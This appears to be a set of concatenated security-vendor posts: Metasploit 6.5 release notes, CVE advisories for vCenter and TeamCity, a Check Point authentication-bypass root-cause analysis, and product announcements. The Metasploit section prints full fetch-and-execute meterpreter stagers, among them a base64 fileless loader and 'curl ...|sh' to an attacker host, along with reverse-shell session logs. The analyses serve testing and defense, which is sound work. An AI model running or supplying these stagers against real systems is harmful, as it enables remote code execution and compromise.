Fetch Pipe was created in response to several exploits that we discovered had very small command size requirements, and we found ourselves trying to shrink the command to fetch the binary payload. Fetch Pipe Payloads simply add an extra Fetch command stager so that the user only needs to run a very small command on the remote host that requests a larger command, which, in turn, requests the binary payload. It allowed us to drop the size of the payloads dramatically, and opened the door to create more complex and feature-rich Fetch command stagers since we could use the tiny “pre-stager” rather than a stager with added length, complexity, and encoding requirements.
For example, here we generate the command for a fileless fetch payload:
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
[*] Command to execute on target: echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} & cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg >/dev/null);then $f & FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;
echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} & cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg >/dev/null);then $f & FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;
Here is that same command with fetch_pipe enabled:
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set fetch_pipe true
fetch_pipe => true
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set fetch_uripath x
fetch_uripath => x
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
curl -s http://10.5.135.210:8080/x|sh
By enabling the fetch pipe option, our payload to run on the target went from 2,374 characters to 38.
The final new feature added to Fetch Payloads in 6.5 is support for a new multi pseudoarchitecture. The new multi pseudoarchitecture allows users to generate a Fetch payload command stager that will run and report back the architecture of the target host while it requests the binary payload, allowing the Fetch Handler to serve a payload that matches the target architecture. This is incredibly useful during the exploitation of modern Linux hardware, as a Linux host could be running on one of many architectures from x86_64 to ARM. The new multi pseudoarch allows a user to send a payload in an exploit to a Linux host and have it “just work” regardless of the underlying architecture, thus eliminating the users need to know (or correctly guess).
Here is an example of generating a Fetch Multi payload and handler, then running the Fetch command stager on several different Linux targets, each running a different architecture:
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous
handles, requires Linux ≥3.17 (for Python variant also Python ≥3
.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
, shell-search, shell)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH x no Local URI to use for serving payload
LHOST 10.5.135.210 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL,GET,WGET:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE true yes Host both the binary payload and the command so it can be piped dire
ctly to the shell.
When FETCH_FILELESS is none:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME cldOGvRDplZ no Name to use on remote system when storing payload; cannot co
ntain spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer : kali-raspberrypi
OS : Debian (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple : armv5l-linux-musleabi
Meterpreter : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer : kali-raspberrypi
OS : Debian (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple : aarch64-linux-musl
Meterpreter : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer : ubnt
OS : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple : mips64-linux-muslsf
Meterpreter : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >
As you can see, the same short command (curl -s http://10.5.135.210:8080/x|sh) with the same handler serves the corresponding binary payload to ARMLE, AARCH64, and MIPS64-based Linux hosts.
Block API Hashes Are Randomized
The block API is a critical piece of shellcode that is the foundation of all of Metasploit's 32-bit and 64-bit payloads. It enables the shellcode author to invoke win32 API methods using a 32-bit hash of the method and module name. It’s been over 5 years since Metasploit started randomizing this piece of shellcode so its 140+ static bytes were no longer trivial signature fodder. What remained however were static the 32-bit API hashes, whose usage was periodically the subject of various reports. This year, Metasploit updated the block API itself to allow the 32-bit hashes to also be randomized. Now each time the block API is generated, not only are the instructions shuffled but the hashes used to invoke win32 API methods are randomized.
ATT&CK Metadata
When you have about 4500 exploit auxiliary and post modules, discoverability can be a real problem. One thing Metasploit often deals with is ensuring that users have optimal means to find what they are looking for. Historically this has manifested itself as search improvements and even an fzf plugin. One thing users often need to do however is emulate real world threat actors. A substantial amount of threat intelligence provides these techniques while documenting the attack chains. Metasploit has begun tagging our own modules with ATT&CK tags to enable users to easily find modules that leverage a particular technique. To search for a module, use the att&ck search modifier. For example to find all modules that leverage T1059.001 (Command and Scripting Interpreter: PowerShell) use att&ck:T1059.001. The hierarchy is also honored, so to search more broadly for T1059 (Command and Scripting Interpreter) use att&ck:T1059 and additional modules such as exploit/windows/mysql/mysql_mof will be included in the search results.
Conclusion
Metasploit 6.5 represents an evolution in the framework, delivering a wide array of new capabilities designed to improve both usability and the realism of modern security testing. From the highly requested integration of Malleable C2 profiles and our new Metasploit MCP Server to advanced NTLM relaying, enhanced fetch payload utilities, and the introduction of MITRE ATT&CK tagging, this release is built to support increasingly complex and automated workflows. We look forward to seeing how these tools help our community continue to push the boundaries of vulnerability validation and threat emulation. Thank you to all the contributors who helped make this release possible.
On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.
An authentication bypass vulnerability in the VMware Directory Service of vCenter that could allow a remote attacker to bypass authentication and gain unauthorized access to the vCenter management plane.
A directory traversal vulnerability in the vCenter Syslog server that could allow an attacker with network access to execute arbitrary code.
VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.
Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.
At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.
Mitigation guidance
Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.
Updates
July 30, 2026: Initial publication.
July 30, 2026: Updated customers section to reflect availability of vulnerability checks.
On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.
In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation. On August 5, CISA added CVE-2026-63077 to its KEV catalog.
Technical analysis
On August 7, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-63077. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to achieve remote code execution on a vulnerable TeamCity server.
Mitigation guidance
Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:
TeamCity 2025.11.7
TeamCity 2026.1.3
All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains' security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.
In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.
Updates
July 29, 2026: Initial publication.
August 5, 2026: Updated to reflect the addition of CVE-2026-63077 to CISA KEV.
August 7, 2026: Added link to the Rapid7 Analysis.
The scenario is all too familiar for any cybersecurity professional: It’s late in the day, and a critical zero-day vulnerability is disclosed. When this happens, CISOs from every industry immediately turn to their Security Operations Centers (SOC) with the single most important, and often most difficult, question: "Are we exposed?”
Answering questions like these when zero-days drop tends to trigger a frantic, high-stress fire drill. Analysts scramble to cross-reference outdated Configuration Management Databases (CMDBs), query disparate endpoint detection tools, and ping IT administrators. The data is siloed, context is missing, and time rapidly slips away.
Today, the window between a vulnerability’s disclosure and its active exploitation in the wild has essentially collapsed, making predictive lead time a thing of the past. As adversaries integrate AI into their playbooks to automate attacks, defending against them requires us to operate at machine speed.
We believe preemptive security is the most effective way to close this window. You cannot wait for every alert to fire to understand your environment. You need an architecture that constantly tracks emerging risks and threats, coupled with AI-accelerated discovery that brings your attack surface into sharp focus before the adversary does. Rapid7 is previewing a series of new features at Black Hat USA 2026 designed to transform the way security teams navigate the chaos of a zero-day threat to identify and close attack paths before they are exploited.
The foundation: Continuous Software Visibility
You cannot secure what you cannot see, and in highly distributed, AI-enabled environments, absolute visibility has traditionally been a gap. To achieve true preemptive security, you need a complete, continuous view of emerging risks. When a zero-day drops, your platform should already be tracking it via an Emerging Threat Response (ETR) process. But knowing the threat exists is only step one; you must correlate that threat with your specific environment. This is where Rapid7 Software Visibility (in-preview) becomes important.
Software Visibility: Depicts details of installed vulnerable software across the technology stack.
⠀
Instead of initiating massive, disruptive network scans, security teams can drill directly into the ETR to view key details of the vulnerability, pinpointing relevant assets and software versions in real-time. For example, if a new zero-day dictates that versions of Safari earlier than 18 are vulnerable, Software Visibility allows you to instantly map that criteria against your entire technology stack. That expansive view into your attack surface allows you to uncover whether this newly discovered exposure exists within your environment, shifting your posture from reactive investigation to proactive defense.
Calculating the blast radius: Decoding toxic combinations
Once you know that you have vulnerable instances of Safari running in your environment, the CISO’s initial question evolves. It is no longer just "Are we exposed?" but rather, "How exposed are we?"
Answering this requires breaking down the traditional silos of security data. A vulnerable service running on an isolated sandbox is a minor blip. That same vulnerable service hosted on a production machine where a highly privileged service account recently left a cached credential in memory is a direct path to domain compromise.
To accurately gauge risk, you need a unified view of your attack surface that pulls together both internal and external telemetry, and lets teams find the information easily. Rapid7’s Exposure Command accelerates this level of exposure discovery with natural language queries (in preview), so that instead of writing complex syntax, plain-English questions will uncover shadow AI models, pinpoint insecure assets, or identify overprivileged users. A SOC analyst can simply ask the platform in plain English: "Show me all assets running Safari earlier than version 18."
Natural language queries: Displays a quick, intuitive way to reveal valuable information about the attack surface.
⠀
The platform reveals the total footprint, but more importantly, it also uncovers toxic combinations. It highlights not just the vulnerable assets and software, but can also highlight the specific users associated with those systems. By illuminating these connections, security teams can prioritize their response based on actual business risk rather than generic CVSS scores.
Bridging the SecOps / ITOps divide: Actionable remediation
Identifying the risk is a security function, but fixing it almost always falls to IT Operations. The friction between these two departments usually goes something like this: the SOC demands immediate patching to stop a breach; ITOps demands testing to ensure the patch does not break critical business services.
To achieve preemptive security, we help streamline this important handoff between teams. For instance, when a critical zero-day hits, a patch is often unavailable for days. In the interim, Rapid7 Exposure Command can provide mitigation guidance to help organizations minimize their risk using existing security controls, even when a formal patch does not exist.
Once a patch is released or a formal CVE number is assigned, the challenge shifts to rapid, safe deployment. To accelerate this, Rapid7 leverages AI-Generated Remediation Summaries (available now). Rather than tossing a massive spreadsheet of vulnerable IP addresses over to IT, these AI summaries provide highly tailored, environment-specific guidance.
Remediation summaries: AI-powered summary of remediation guidance.
⠀
The AI contextualizes the vulnerability findings based on your existing security controls, established asset ownership, and the unique makeup of your attack surface. It translates raw vulnerability data into clear, actionable narratives, empowering ITOps to quickly understand not just what needs to be patched, but how to securely and efficiently deploy those patches with minimal disruption to the business.
Communicating up: Translating data into cross-functional narratives
While the SOC and IT are working to remediate the threat, the business demands constant updates. The CISO, the executive team, and the board of directors need to know the organization's real-time risk posture.
Historically, translating deeply technical security metrics into executive-ready reports meant a security analyst would spend hours manually interpreting data, formatting charts, and building slide decks. These are valuable hours that should have been spent actively hunting threats.
To address this, Rapid7 is introducing AI Dashboard Summaries (in preview). This capability automatically transforms dense, data-heavy dashboards into plain-text, actionable narratives. The platform generates a powerful, easy-to-digest summary of the active risk posture, allowing security leaders to give leadership and cross-functional partners exactly what they need: clear, confident answers, delivered immediately.
We also recognize that security telemetry doesn't exist in a vacuum. Organizations need complete control over their data. If you want to integrate this vulnerability intelligence with broader enterprise risk models, you can seamlessly export this data to your AI analytics engine of choice via a Model Context Protocol (MCP) server. This flexibility ensures you can add context or perform secondary risk analysis exactly as your business requires.
The preemptive future
The scenario described above is just a snapshot of how AI-enabled capabilities are fundamentally changing the defensive landscape. By leveraging continuous software visibility, AI-accelerated discovery, and automated remediation guidance, we can stay ahead of the ever-narrowing window between vulnerability disclosures and active exploits.
Preemptive security is about building an environment so visible, so well-understood, and so seamlessly integrated that when the inevitable zero-day drops, panic is replaced by precision. Whether it is navigating complex toxic combinations, securing ephemeral cloud workloads, or implementing robust mitigations when no patch is available, these Rapid7 AI-enabled capabilities lay the groundwork for teams to outpace the adversary.
On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.
Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.
Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.
Analysis
SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.
The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.
The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.
The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.
The diagram below shows the flow for exploiting CVE-2026-16232.
Figure 1: Flow diagram of exploitation.
The application authentication boundary
The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication().
At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.
The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.
The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.
What the patch changes
Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.
private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
throws AuthenticationFailureLoginException {
- String effectiveSicDn = suppliedSicDn == null
- ? this.j.getCertificateDnName()
- : suppliedSicDn; // <-- [1]
- CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+ String effectiveSicDn;
+ String certificateDn = this.j.getCertificateDnName();
+ String remoteIp = this.j.getRemoteIpAddress();
+ boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+ if (localSic && suppliedSicDn != null) {
+ effectiveSicDn = suppliedSicDn; // <-- [2]
+ } else {
+ effectiveSicDn = certificateDn; // <-- [3]
+ boolean mismatch = suppliedSicDn != null
+ && StringUtils.isNotEmpty(certificateDn)
+ && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+ if (mismatch) {
+ TdLog.error(c,
+ "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+ applicationName, remoteIp);
+ throw new AuthenticationFailureLoginException(
+ "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+ }
+ }
+ if (Strings.isNullOrEmpty(effectiveSicDn)) {
+ TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+ applicationName);
+ throw new AuthenticationFailureLoginException(
+ "Remote authentication failed for peer " + remoteIp + "."); // <-- [5]
+ }
if (effectiveSicDn.equals("CN=siclocal")) {
this.authenticateLocal(applicationName);
} else {
this.t.identifyDomainForRemoteLogin(effectiveSicDn);
}
}
Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.
This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.
Protocol flow to a SmartConsole session
The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.
After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):
Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.
The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.
The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):
The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below.
// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)
_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF
v11 = *(const char **)a2;
v10 = CPMIGetClientPermission(a1);
v12[0] = 0;
v9 = CPMIGetClientAdvancedPermission(a1);
fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
if ( v12[0] != 1 )
{
if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
return 0;
v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
{
// Normal command permission checks follow.
// ...
return 0;
}
}
return 1;
}
The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:
At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.
Figure 2: Audit Log IOC.
Exploitation
Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .
The following shows our PoC running against a vulnerable R81.20 target.
For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.
First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information
The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.
Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.
Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.
$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.
Remediation
For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.
Compliance has become one of the biggest operational drains on modern security teams. CISOs are being asked to manage a growing sprawl of frameworks, prove control effectiveness more often, respond to more customer assurance requests, track risk across a growing web of third parties, and give executives and the board a clearer answer on whether cyber risk is actually going down.
Most of that pressure does not come from the frameworks themselves. It comes from the way compliance is still handled in many organizations, with security work happening in one set of tools and governance, risk, and compliance workflows managed somewhere else. Security teams detect exposures, investigate threats, validate risk, and drive remediation in active systems. Governance, Risk and Compliance (GRC) teams are often left managing controls, evidence, audits, third-party risk, and reporting in separate systems of record, which turns compliance into a constant reconciliation exercise rather than an extension of the security program.
That separation creates real drag. Skilled technical teams get pulled into repeated cycles of screenshots, exports, control validation, and spreadsheet updates, while CISOs are still left trying to answer the question that matters most: are our controls actually working right now?
Available today, Rapid7 Cyber GRC completely changes that model by connecting governance, risk, and compliance workflows to the security data and activity already happening across the environment. The result is a more connected way to reduce manual work, improve readiness, and turn security action into compliance proof.
